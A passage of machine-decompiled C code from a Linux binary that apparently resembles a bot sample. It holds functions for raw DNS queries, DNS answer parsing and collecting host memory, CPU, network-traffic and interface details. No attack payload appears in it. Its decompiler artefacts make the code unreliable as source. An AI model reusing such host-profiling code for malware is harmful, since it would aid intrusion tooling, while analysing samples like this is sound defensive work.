v11 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)v10);
if (std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) {
// 0x806c55e
std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, (int32_t *)v10, (char *)g2);
// branch -> 0x806c578
} else {
// 0x806c51f
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v13, a2, NULL, v3, a3);
std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v13, (char *)1);
// branch -> 0x806c578
}
// 0x806c578
g98 = v1;
return (int32_t)a1;
}
// 0x806c467
int32_t ** v14;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___begin(v14, a2);
if (std___Rb_tree_iterator_lt_void__ptr__gt___operator_eq__eq_((int32_t *)v10, (int32_t *)v14) != 0) {
// 0x806c496
int32_t * v15;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v15, a2, NULL, v3, a3);
std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v15, (char *)1);
// branch -> 0x806c578
// 0x806c578
g98 = v1;
return (int32_t)a1;
}
// 0x806c4d8
std___Rb_tree_iterator_lt_void__ptr__gt___operator__((int32_t *)v10);
// branch -> 0x806c4e7
// 0x806c4e7
g98 = std___Identity_lt_void__ptr__gt___operator_lb__rb_(v12);
v11 = std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____S_key_213((int32_t)v10);
if (std__less_lt_void__ptr__gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) {
// 0x806c55e
std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, (int32_t *)v10, (char *)g2);
// branch -> 0x806c578
} else {
// 0x806c51f
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt____M_insert(v13, a2, NULL, v3, a3);
std__pair_lt_std___Rb_tree_iterator_lt_void__ptr__gt__comma__bool_gt_(a1, v13, (char *)1);
// branch -> 0x806c578
}
// 0x806c578
g98 = v1;
return (int32_t)a1;
}
// Address range: 0x806c582 - 0x806c5e1
int32_t std__set_lt_void__ptr__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert(int32_t * a1, int32_t * a2, int32_t * a3) {
// 0x806c582
g98 = (int32_t)a1;
int32_t * v1;
std___Rb_tree_lt_void__ptr__comma__void__ptr__comma__std___Identity_lt_void__ptr__gt__comma__std__less_lt_void__ptr__gt__comma__std__allocator_lt_void__ptr__gt___gt___insert_unique(v1, a2, a3);
int32_t * v2;
std___Rb_tree_const_iterator_lt_void__ptr__gt_(v2, v1);
char * v3;
std__pair_lt_std___Rb_tree_const_iterator_lt_void__ptr__gt__comma__bool_gt_((int32_t *)g98, v2, v3);
return g98;
}
// Address range: 0x80720d8 - 0x807215d
int32_t CProtocolUtil__FillDnsHeader(struct struct_47 * a1, int32_t a2, int32_t a3) {
// 0x80720d8
a1->e0 = 0x10000 * a2 / 0x10000;
*(int16_t *)((int32_t)a1 + 2) = htons(256);
a1->e1 = htons(1);
a1->e1 = 0;
a1->e2 = 0;
if ((char)a3 == 0) {
// 0x8072153
*(int16_t *)((int32_t)a1 + 10) = 0;
// branch -> 0x807215c
} else {
// 0x807213b
*(int16_t *)((int32_t)a1 + 10) = htons(1);
// branch -> 0x807215c
}
// 0x807215c
return (int32_t)a1;
}
// Address range: 0x807215e - 0x8072253
int32_t CProtocolUtil__FillDnsARequest(struct struct_47 * a1, int32_t * a2, int32_t * a3) {
// 0x807215e
CProtocolUtil__FillDnsHeader(a1, (int32_t)a2 % 0x10000, (int32_t)g2);
int32_t v1 = 1 - -1 * strlen((char *)a3); // 0x8072198
int32_t v2 = v1 - 1; // 0x807219a
int32_t v3 = v1 + 1; // 0x807219b
int32_t v4 = (int32_t)a1; // 0x80721a1
int32_t v5 = v4 + 12; // 0x80721a4
memcpy((int32_t *)(v4 + 13), a3, v1);
int32_t v6; // 0x8072215
if (v2 <= 0) {
// 0x8072202
// branch -> 0x8072212
// 0x8072212
v6 = v3 + v5;
*(int16_t *)v6 = htons(1);
*(int16_t *)(v6 + 2) = htons(1);
return v1 + 17;
}
int32_t v7 = 0;
int32_t v8;
while (true) {
int32_t v9 = v2 + v5; // 0x80721d3
char * v10 = (char *)v9; // 0x80721d6_0
if (((int32_t)*v10 || v9 & -256) == 46) {
// 0x80721e3
*v10 = (char)v7;
v8 = 0;
// branch -> 0x80721f7
} else {
// 0x80721dc
v8 = v7 + 1;
// branch -> 0x80721f7
}
int32_t v11 = v2 - 1; // 0x80721fa
if (v11 <= 0) {
// break -> 0x8072202
break;
}
v2 = v11;
v7 = v8;
// continue -> 0x80721d0
}
// 0x8072202
if (v8 >= 1) {
// 0x8072208
*(char *)v5 = (char)v8;
// branch -> 0x8072212
}
// 0x8072212
v6 = v3 + v5;
*(int16_t *)v6 = htons(1);
*(int16_t *)(v6 + 2) = htons(1);
return v1 + 17;
}
// Address range: 0x8072254 - 0x80722d3
int32_t CProtocolUtil__IsStrIPAddress(int32_t * a1) {
// 0x8072254
if (a1 == NULL) {
// 0x80722cb
return 0;
}
int32_t v1 = 0;
// branch -> 0x80722a5
while (true) {
int32_t v2 = -((-1 * strlen((char *)a1))); // 0x80722bf
g95 = v2;
if (v1 < v2) {
int32_t v3 = v1 + (int32_t)a1; // 0x8072276
char * v4 = (char *)v3; // 0x8072279_0
int32_t v5 = v3 & -256; // 0x8072279
if (((int32_t)*v4 || v5) != 46) {
int32_t v6 = (int32_t)*v4 | v5; // 0x8072285
g95 = v6;
if (v6 <= 57) {
int32_t v7 = (int32_t)*v4 | v5; // 0x8072291
g95 = v7;
if (v7 > 47) {
// 0x80722a0
v1++;
// branch -> 0x80722a5
continue;
}
}
// 0x80722cb
// branch -> 0x80722cb
// 0x80722cb
return 0;
}
// 0x80722a0
v1++;
// branch -> 0x80722a5
continue;
}
// 0x80722cb
// branch -> 0x80722cb
// 0x80722cb
return 1;
}
}
// Address range: 0x80729c4 - 0x8072c17
int32_t CProtocolUtil__AnalysisDnsAnswerers(struct struct_3 * a1, int32_t * a2) {
struct _in_addr in; // 0x8072b1e
struct struct_3 * v1 = NULL; // bp-49
int32_t v2 = g98; // 0x80729c7
std__allocator_lt_std__string_gt__42((int32_t)v1);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(a1, v1);
std__allocator_lt_std__string_gt_(&v1->e0);
int32_t v3 = (int32_t)a2; // 0x80729fc
struct struct_48 * v4 = (struct struct_48 *)(v3 + 12); // bp-32
int32_t v5 = 0;
// branch -> 0x8072a4b
while (true) {
// 0x8072a4b
if ((int32_t)htons(*(int16_t *)(v3 + 4)) > v5) {
struct struct_48 * v6 = v4;
int32_t v7 = (int32_t)v6; // 0x8072a1a41
unsigned char v8 = *(char *)v6; // 0x8072a1d43
int32_t v9 = v8; // 0x8072a1d44
int32_t v10 = v7 + 1; // 0x8072a2845
if (v8 != 0) {
int32_t v11 = v10 + v9; // 0x8072a38
unsigned char v12 = *(char *)v11; // 0x8072a1d
while (v12 != 0) {
// 0x8072a3a
v11 = v11 + 1 + (int32_t)v12;
v12 = *(char *)v11;
// continue -> 0x8072a3a
}
// 0x8072a40
v4 = (struct struct_48 *)(v11 + 5);
v5++;
// branch -> 0x8072a4b
continue;
}
// 0x8072a40
v4 = (struct struct_48 *)(v7 + 5);
v5++;
// branch -> 0x8072a4b
continue;
} else {
int32_t v13 = 0;
// branch -> 0x8072bb0
while (true) {
// 0x8072bb0
g98 = htons(*(int16_t *)(v3 + 6));
if (g98 + (int32_t)htons(*(int16_t *)(v3 + 8)) <= v13) {
// 0x8072c10
g98 = v2;
return (int32_t)a1;
}
struct struct_48 * v14 = v4; // 0x8072a75_0
int32_t v15 = (int32_t)v14; // 0x8072a75
int32_t v16; // 0x8072ae4
struct struct_48 * v17; // 0x8072a81_4
int16_t v18; // 0x8072ab9
int16_t v19; // 0x8072ad5
if ((v15 & -256 | (int32_t)*(char *)v14) == -64) {
// 0x8072a7e
v17 = (struct struct_48 *)(v15 + 2);
v4 = v17;
// branch -> 0x8072aac
} else {
unsigned char v20 = *(char *)v14; // 0x8072a8934
int32_t v21 = v20; // 0x8072a8935
int32_t v22 = v15 + 1; // 0x8072a9436
struct struct_48 * v23 = (struct struct_48 *)v22; // bp+337
v4 = v23;
struct struct_48 * v24; // 0x8072a94_3
if (v20 != 0) {
int32_t v25 = v22 + v21; // 0x8072aa4
unsigned char v26 = *(char *)v25; // 0x8072a89
int32_t v27 = v25 + 1; // 0x8072a94
v24 = (struct struct_48 *)v27;
v4 = v24;
while (v26 != 0) {
// 0x8072aa6
v25 = v27 + (int32_t)v26;
v26 = *(char *)v25;
v27 = v25 + 1;
v24 = (struct struct_48 *)v27;
v4 = v24;
// continue -> 0x8072aa6
}
// branch -> 0x8072aac
lab_0x5a72200:
// 0x8072aac
v18 = htons(*(int16_t *)v24);
v19 = htons(*(int16_t *)((int32_t)v4 + 8));
v16 = (int32_t)v4 + 10;
int32_t v28;
if (v18 == 1) {
lab_0x9342960:;
// 0x8072afe
int32_t v29;
std__allocator_lt_char_gt__598(v29);
int32_t v30 = (int32_t)(struct struct_3 *)*(int32_t *)v16; // 0x8072b17
g95 = v30;
in = (struct _in_addr){
.e0 = 0
};
in.e0 = v30;
int32_t * v31;
int32_t v32;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v31, (int32_t)inet_ntoa(in), v29, v32, (int32_t)NULL, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&a1->e0, v31);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v31);
std__allocator_lt_char_gt_();
v28 = (int32_t)(struct struct_48 *)v16 + 4;
// branch -> 0x8072bab
} else {
lab_0x5a781f0:
// 0x8072aee
v28 = v16 + (int32_t)v19;
// branch -> 0x8072bab
}
// 0x8072bab
v4 = (struct struct_48 *)v28;
v13++;
// branch -> 0x8072bb0
continue;
}
// 0x8072aa6
v24 = v23;
// branch -> 0x8072aac
goto lab_0x5a72200;
}
// 0x8072aac
v18 = htons(*(int16_t *)v17);
v19 = htons(*(int16_t *)((int32_t)v4 + 8));
v16 = (int32_t)v4 + 10;
if (v18 == 1) {
goto lab_0x9342960;
}
goto lab_0x5a781f0;
}
}
}
}
// Address range: 0x8072c1a - 0x8072f2f
int32_t CProtocolUtil__GetDomainIPsSpecially(struct struct_3 * a1, int32_t * a2, int32_t * a3, int32_t a4) {
struct struct_6 * v1 = NULL; // bp-68
struct struct_6 * v2 = NULL; // bp-56
struct struct_3 * v3 = NULL; // bp-44
struct struct_3 * v4 = NULL; // bp-29
int32_t v5 = g98; // 0x8072c1d
std__allocator_lt_std__string_gt__42((int32_t)v4);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v3, v4);
std__allocator_lt_std__string_gt_(&v4->e0);
if (CProtocolUtil__IsStrIPAddress(a3) == 0) {
// 0x8072d0e
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v2->e0, (int32_t *)1024, 0x8072c5a);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)1024, 0x8072c5a);
int32_t v6 = CNetBase__CreateSocket(17); // 0x8072d3b
struct struct_3 * v7 = (struct struct_3 *)v6; // bp-12
if (v6 > 0) {
// 0x8072d64
CNetBase__SetRecvTimeOut(v6, 0x1388);
struct struct_18 * v8 = g2; // 0x8072d7c_3
g98 = time(&v8->e0) % 0x10000;
int32_t v9 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v8->e0); // 0x8072d90
int32_t v10 = CProtocolUtil__FillDnsARequest((struct struct_47 *)v9, (int32_t *)g98, a3); // 0x8072da0
int32_t v11 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v2->e0, &v8->e0); // 0x8072db4
int32_t v12 = v11;
int32_t v13 = CNetBase__SendTo((int32_t)v7, (char *)&v12, v10, (struct _sockaddr *)a2, 53); // 0x8072dcb
if ((int32_t *)v13 != (int32_t *)v10) {
// 0x8072dde
CNetBase__Close((int32_t)v7);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3);
// branch -> 0x8072eb5
// 0x8072eb5
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
// branch -> 0x8072f14
// 0x8072f14
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
g98 = v5;
return (int32_t)a1;
}
// 0x8072e04
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&v1->e0);
int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8072e1e
v12 = v14;
int32_t v15 = CNetBase__RecvFrom((int32_t)v7, v14, g98, (int16_t)(int32_t)a2, 53); // 0x8072e33
CNetBase__Close((int32_t)v7);
if (v15 > 0) {
// 0x8072e67
g98 = (int32_t)a1;
int32_t v16 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v8->e0); // 0x8072e81
CProtocolUtil__AnalysisDnsAnswerers((struct struct_3 *)g98, (int32_t *)v16);
// branch -> 0x8072eb5
} else {
// 0x8072e44
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3);
// branch -> 0x8072eb5
}
// 0x8072eb5
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
// branch -> 0x8072f14
// 0x8072f14
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
g98 = v5;
return (int32_t)a1;
}
// 0x8072d4c
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3);
// branch -> 0x8072eb5
// 0x8072eb5
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1);
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v2);
// branch -> 0x8072f14
} else {
// 0x8072c65
int32_t v17;
std__allocator_lt_char_gt__598(v17);
int32_t v18 = (int32_t)a3; // 0x8072c82
int32_t * v19;
int32_t * v20;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(v19, v18, v17, v18, (int32_t)v20, 0);
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&v3->e0, v19);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)v19);
std__allocator_lt_char_gt_();
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v3);
// branch -> 0x8072f14
}
// 0x8072f14
std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3);
g98 = v5;
return (int32_t)a1;
}
// Address range: 0x8072fc8 - 0x8073061
int32_t CProvinceDns__InitReadResource(struct struct_49 * a1) {
int32_t v1 = 4 * *(int32_t *)a1; // 0x8072fd5
g95 = v1;
int32_t v2;
__libc_malloc((int32_t *)v1, v2, 0);
a1->e1[0] = (char *)g95;
int32_t * v3 = (int32_t *)((int32_t)a1 + 4); // 0x8072fef_0
int32_t * v4; // 0x8073061_11
if (*v3 == 0) {
// 0x8072ff6
a1->e0 = NULL;
v4 = (int32_t *)a1;
// branch -> 0x807305b
} else {
int32_t v5 = *v3; // 0x8073010
memset((int32_t *)v5, v5 & -256, 4 * *(int32_t *)a1);
int32_t v6 = *(int32_t *)a1; // 0x80730549
if (v6 > 0) {
int32_t v7 = 0;
char * cp = g13[v7]; // 0x8073037
inet_addr(cp);
a1->e1[v7] = (char *)(int32_t)cp;
int32_t v8 = v7 + 1; // 0x807304f
uint32_t v9 = *(int32_t *)a1; // 0x8073054
while (v9 > v8) {
// 0x8073025
v7 = v8;
cp = g13[v7];
inet_addr(cp);
a1->e1[v7] = (char *)(int32_t)cp;
v8 = v7 + 1;
v9 = *(int32_t *)a1;
// continue -> 0x8073025
}
// 0x807305b
// branch -> 0x807305b
// 0x807305b
return (int32_t)(int32_t *)v9;
}
// 0x807305b
v4 = (int32_t *)v6;
// branch -> 0x807305b
}
// 0x807305b
return (int32_t)v4;
}
// Address range: 0x8073122 - 0x8073193
int32_t CStatBase__GetMemSize(struct _struct__IO_FILE * a1) {
struct _struct__IO_FILE * v1 = NULL; // bp-36
int32_t v2 = (int32_t)"/proc/meminfo"; // bp-44
__new_fopen((int32_t)"/proc/meminfo", 0x8102966);
int32_t v3 = g95; // 0x807313d
if (v3 == 0) {
// 0x8073192
int32_t result; // 0x8073193_11
return result;
}
// 0x8073146
v1 = (struct _struct__IO_FILE *)((int32_t)a1 + 12);
v2 = v3;
fscanf((struct _struct__IO_FILE *)&v2, "MemTotal: %d kB", &v1);
v2 = v3;
__new_fclose(&v2);
int32_t result2 = (int32_t)a1; // 0x807316e
int32_t * v4 = (int32_t *)(result2 + 12); // 0x8073171_0
uint32_t v5 = *v4; // 0x8073171
int32_t v6; // 0x80731842
if (v5 <= 0) {
// 0x807317d
v6 = v5 + 1023;
// branch -> 0x8073184
} else {
v6 = v5;
}
// 0x8073184
*v4 = v6 / 1024;
// branch -> 0x8073192
// 0x8073192
return result2;
}
// Address range: 0x8073194 - 0x8073321
int32_t CStatBase__GetLocalDeviceInfo(int32_t * a1, char * str) {
int32_t protocol = (int32_t)g2; // 0x80731a4
int32_t sock_fd = socket(AF_INET, SOCK_STREAM, protocol); // 0x80731a4
if (sock_fd <= 0) {
// 0x807331a
return -1;
}
// 0x80731c1
int32_t * v1;
memset(v1, protocol, 32);
int32_t v2;
std__allocator_lt_char_gt__598(v2);
int32_t v3;
int32_t v4;
int32_t v5;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v3, (int32_t)str, v2, v5, v4, 0);
int32_t * v6;
int32_t v7 = (int32_t)v6; // 0x80731f9
std__string__operator_eq__675();
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v3);
std__allocator_lt_char_gt_();
strncpy((char *)v1, str, 15);
int32_t result; // 0x807331a1
if (ioctl(sock_fd, 0x8927, v1) < 0 == false) {
int32_t v8 = v7 + 4; // 0x80732b7
int32_t v9;
*(int32_t *)v8 = v9;
int16_t v10;
*(int16_t *)(v8 + 4) = v10;
if (ioctl(sock_fd, 0x8915, v1) < 0 == false) {
// 0x80732f6
int32_t v11;
*(int32_t *)(v7 + 12) = v11;
// branch -> 0x8073305
} else {
// 0x80732ea
*(int32_t *)(v7 + 12) = 0;
// branch -> 0x8073305
}
// 0x8073305
close(sock_fd);
result = 0;
// branch -> 0x807331a
} else {
// 0x807329d
close(sock_fd);
result = -1;
// branch -> 0x807331a
}
// 0x807331a
return result;
}
// Address range: 0x8073538 - 0x80735e1
int32_t CStatBase__GetSysVersion(int32_t result) {
int32_t v1 = result; // bp-428
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_(&v1);
int32_t * name;
uname(name);
v1 = result;
std__string__operator_eq_((int32_t **)&v1, (char *)name);
v1 = result;
std__string__append_669(&v1, (int32_t)" ");
v1 = result;
int32_t v2;
std__string__append_669(&v1, v2);
return result;
}
// Address range: 0x80735e4 - 0x8073645
int32_t CStatBase__GetOs(struct _struct__IO_FILE * a1) {
// 0x80735e4
int32_t v1;
int32_t v2 = v1; // bp-12
CStatBase__GetSysVersion(v1);
std__string__operator_eq__675();
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v2); // 0x8073639
return result;
}
// Address range: 0x8073646 - 0x8073725
int32_t CStatBase__GetLocalMac(int32_t a1, int32_t a2) {
int32_t v1 = g98; // 0x8073649
if (a2 == 0) {
// 0x8073720
g98 = v1;
int32_t result; // 0x8073724_11
return result;
}
int32_t * v2 = (int32_t *)(a1 + 96); // 0x807365d_0
*v2 = a2;
int32_t v3 = a1 + 68; // 0x8073663
int32_t v4 = v3;
int32_t result2 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___empty(&v4); // 0x807366a
if (result2 == 0) {
int32_t v5 = 0;
while (true) {
// 0x80736db
g98 = v5;
v4 = v3;
uint32_t v6 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___size(&v4); // 0x80736e8
int32_t v7;
if (((int32_t)(g98 < v6) || v6 & -256) == 0) {
// 0x80736f9
v7 = 0;
v4 = v3;
int32_t v8 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &g2->e0); // 0x8073705
g96 = a1;
int32_t v9 = *(int32_t *)(v8 + 4); // 0x8073712
g95 = v9;
*(int32_t *)(a1 + 100) = v9;
uint16_t v10 = *(int16_t *)(v8 + 8); // 0x8073718
*(int16_t *)(g96 + 104) = v10;
// branch -> 0x8073720
// 0x8073720
g98 = v1;
return g95 & -0x10000 | (int32_t)v10;
}
// 0x8073683
g98 = *v2;
v7 = v5;
v4 = v3;
int32_t v11 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &v7); // 0x8073697
int32_t v12 = *(int32_t *)(v11 + 12); // 0x807369f
if (((int32_t)(g98 == v12) || v12 & -256) != 0) {
// 0x80736ab
v7 = v5;
v4 = v3;
int32_t v13 = std__vector_lt_CDevice_comma__std__allocator_lt_CDevice_gt___gt___operator_lsb__rsb_(&v4, &v7); // 0x80736b9
g96 = a1;
int32_t v14 = *(int32_t *)(v13 + 4); // 0x80736c6
g95 = v14;
*(int32_t *)(a1 + 100) = v14;
uint16_t v15 = *(int16_t *)(v13 + 8); // 0x80736cc
*(int16_t *)(g96 + 104) = v15;
// branch -> 0x8073720
// 0x8073720
g98 = v1;
return g95 & -0x10000 | (int32_t)v15;
}
// 0x80736d6
v5++;
// branch -> 0x80736db
}
}
// 0x8073720
g98 = v1;
return result2;
}
// Address range: 0x8073cca - 0x8073fff
int32_t CStatBase__GetNetBytes(struct _struct__IO_FILE * a1) {
int32_t v1 = g102; // 0x8073ccd
int32_t v2 = g101; // 0x8073cce
int32_t v3 = g98; // 0x8073ccf
int32_t * v4;
int32_t * v5;
int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v5, (int32_t *)512, (int32_t)v4); // 0x8073ce2
__new_fopen((int32_t)"/proc/net/dev", 0x8102966);
if (v6 == 0) {
// 0x8073fdd
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5);
g97 = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return 0;
}
struct struct_18 * v7 = g2; // 0x8073d4e_5
int32_t v8 = (int32_t)v7; // 0x8073d5d
// branch -> 0x8073f71
while (true) {
int32_t v9 = _IO_feof((struct _struct__IO_FILE *)v5); // 0x8073f77
if (((int32_t)(v9 == 0) || v9 & -256) == 0) {
// 0x8073f8c
__new_fclose(v5);
// branch -> 0x8073fdd
// 0x8073fdd
std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v5);
g97 = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return 0;
}
// 0x8073d34
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5);
int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073d4e
memset((int32_t *)v10, v8, g98);
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v5) - 1;
int32_t v11 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073d80
int32_t v12;
_IO_fgets(v11, g98, v5, v12);
int32_t v13;
std__allocator_lt_char_gt__598(v13);
int32_t v14 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073db0
int32_t * v15;
int32_t v16;
int32_t v17;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v17, v14, v13, v12, v16, (int32_t)v15);
std__allocator_lt_char_gt_();
int32_t v18 = std__string__find_616(v17, (int32_t)"eth", v8); // 0x8073e13
int32_t v19; // 0x8073e2e
char v20;
if (v18 == -1) {
// 0x8073e20
v19 = std__string__find_616(v17, (int32_t)"em", v8);
if (v19 != -1) {
v20 = 0;
// branch -> 0x8073e4b
} else {
v19 = -1;
v20 = 1;
}
} else {
// 0x8073e44
v19 = v18;
v20 = 0;
// branch -> 0x8073e4b
}
// 0x8073e4b
if (((int32_t)v20 || v19 & -256) == 0) {
int32_t v21 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v5, &v7->e0); // 0x8073e7f
_IO_sscanf(v21, (int32_t)"%7s %llu %lu %lu %lu %lu %lu %lu %lu %llu %lu %lu %lu %lu %lu %lu %lu");
g98 = 0;
g101 = 0;
g102 = 0;
// branch -> 0x8073f62
}
// 0x8073f62
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v17);
// branch -> 0x8073f71
}
}
// Address range: 0x807415e - 0x807418b
int32_t CStatBase__InitNetUse(struct _struct__IO_FILE * a1) {
// 0x807415e
CStatBase__GetNetBytes(a1);
a1->e13 = NULL;
a1->e14 = g97;
int32_t result = CUtility__GetTickCount(); // 0x807417b
a1->e15 = result;
a1->e16 = g97;
return result;
}
// Address range: 0x807418c - 0x807432b
int32_t CStatBase__InitCpuUse(struct _struct__IO_FILE * a1) {
struct _struct__IO_FILE * v1 = NULL; // bp-52
struct _struct__IO_FILE * v2 = NULL; // bp-48
int32_t v3 = g98; // 0x807418f
v2 = (struct _struct__IO_FILE *)0x80741a4;
int32_t * v4;
int32_t * v5;
int32_t v6 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v4, (int32_t *)256, (int32_t)v5); // 0x807419f
int32_t * v7 = (int32_t *)0x8102966; // bp-40
int32_t * v8 = (int32_t *)"/proc/cpuinfo"; // bp-44
v2 = (struct _struct__IO_FILE *)0x80741b9;
__new_fopen((int32_t)"/proc/cpuinfo", 0x8102966);
int32_t result; // 0x807431e
if (v6 == 0) {
// 0x8074317
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4);
g98 = v3;
return result;
}
struct struct_18 * v9 = g2; // 0x80741e8_5
// branch -> 0x807426c
while (true) {
lab_0x5b13a00:
// 0x807426c
v8 = v4;
v2 = (struct _struct__IO_FILE *)0x8074277;
int32_t v10 = _IO_feof((struct _struct__IO_FILE *)v4); // 0x8074272
if (((int32_t)(v10 == 0) || v10 & -256) == 0) {
// 0x8074287
v2 = (struct _struct__IO_FILE *)0x8074292;
int32_t v11 = __new_fclose(v4); // 0x807428d
int32_t * v12 = (int32_t *)v11; // 0x807428d_4
v7 = (int32_t *)0x8102966;
v8 = (int32_t *)"/proc/stat";
v2 = (struct _struct__IO_FILE *)0x80742a7;
__new_fopen((int32_t)"/proc/stat", 0x8102966);
if (v11 != 0) {
int32_t v13 = (int32_t)a1; // 0x80742b5
int32_t v14 = v13 + 20; // 0x80742ca
g98 = v14;
v7 = (int32_t *)(v13 + 44);
v8 = (int32_t *)(v13 + 36);
v2 = (struct _struct__IO_FILE *)(v13 + 28);
v1 = (struct _struct__IO_FILE *)v14;
fscanf((struct _struct__IO_FILE *)v11, "cpu %llu %llu %llu %llu", &v1, &v2, &v8, &v7);
v8 = v12;
v2 = (struct _struct__IO_FILE *)0x80742ef;
__new_fclose(v12);
// branch -> 0x8074317
}
// 0x8074317
result = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v4);
g98 = v3;
return result;
}
// 0x80741ce
v2 = (struct _struct__IO_FILE *)0x80741da;
g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v4);
v7 = NULL;
v2 = (struct _struct__IO_FILE *)0x80741ed;
int32_t v15 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v4, &v9->e0); // 0x80741e8
int32_t * v16 = (int32_t *)v15; // 0x80741e8_6
v7 = NULL;
v8 = v16;
v2 = (struct _struct__IO_FILE *)0x80741fc;
